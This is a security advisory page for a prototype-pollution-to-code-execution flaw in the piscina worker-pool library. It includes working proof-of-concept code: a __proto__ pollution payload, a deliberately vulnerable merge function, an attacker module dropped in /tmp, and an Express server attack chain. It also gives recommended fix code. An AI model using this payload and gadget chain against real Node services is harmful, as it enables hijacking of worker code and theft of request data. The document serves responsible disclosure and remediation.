VYPR
High severity8.1NVD Advisory· Published Jun 18, 2026· Updated Jun 18, 2026

piscina: Prototype Pollution Gadget → RCE via inherited options.filename

CVE-2026-55388

Description

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

  1. Upstream PP-source somewhere in the process — common in transitive deps
  2. **Attacker-controllable .mjs** at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire: - Every pool.run(task, opts) call across the entire process is hijacked - Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data - Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients - Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on piscina@5.1.4 (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"

B) Full-stack HTTP chain (this is the realistic shape)

A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.

// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response

Empirical observation on piscina@5.1.4 + Node 23.11.0: - Pre-attack /api/process returns {by: 'valid-worker'} - Cold-path /probe after PP source confirms ({}).filename is polluted process-wide - Post-attack /api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>} - Sentinel file written from inside piscina/dist/worker.js with the worker process's uid + env access

Recommended fix

Minimal — own-property guard at both option-read sites:

// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
  ? options.filename
  : null;
const filename = userFilename
  ? (0, common_1.maybeFileURLToPath)(userFilename)
  : null;

// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options);          // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;

More idiomatic — use a null-prototype working object throughout this.options:

const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
  : null;
this.options.maxQueue = 0;

Either approach closes the gadget without breaking any legitimate caller pattern.

The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar options.X member-access for worker / child-process / module-load operations is worth a quick audit.

Coordination

  • Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
  • Will not share publicly until GHSA published or 90 days.
  • Please credit ridingsa if you choose to credit a reporter.

How this was discovered

Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via import() / require() / new Worker()) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

1

Patches

Vulnerability mechanics

Root cause

"Missing own-property guard when reading the `filename` option in piscina's constructor and `run()` method allows a prototype-polluted `Object.prototype.filename` to flow into `worker_threads.Worker` import."

Attack vector

An attacker must satisfy two preconditions: (1) an upstream prototype-pollution source (e.g., lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2) somewhere in the process, and (2) an attacker-controllable `.mjs` file at a known filesystem path (via upload endpoints, `/tmp` races, predictable `node_modules` paths, or supply-chain). Once `Object.prototype.filename` is polluted, every `pool.run(task, opts)` call where the caller passes their own options object (commonly `{signal: ac.signal}` for abort support) inherits the polluted value, causing `worker_threads.Worker` to import the attacker's module and execute its exported function with the legitimate caller's task data [ref_id=1][ref_id=2].

Affected code

The vulnerability is in `piscina`'s constructor (line 92 of `dist/index.js`) and `run()` method (line 616 of `dist/index.js`). Both read the `filename` option via plain member access (`options.filename`) without an own-property guard, so the value falls through the prototype chain when the caller's options object does not have `filename` as an own property [ref_id=1][ref_id=2].

What the fix does

The recommended fix adds an own-property guard at both option-read sites using `Object.prototype.hasOwnProperty.call(options, 'filename')` in the constructor, and creating a null-prototype working object via `Object.create(null)` in `run()` so that destructuring only sees own properties. This closes the prototype-pollution gadget without breaking any legitimate caller pattern, because callers that explicitly set `filename` as an own property continue to work as before [ref_id=1][ref_id=2].

Preconditions

  • configAn upstream prototype-pollution source (e.g., lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2) must be present somewhere in the process
  • inputAn attacker-controllable .mjs file must exist at a known filesystem path (via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain)
  • inputThe caller must pass their own options object to pool.run() (e.g., {signal: ac.signal}) rather than relying on the default kDefaultRunOptions which has filename:null as an own property

Generated on Jun 18, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.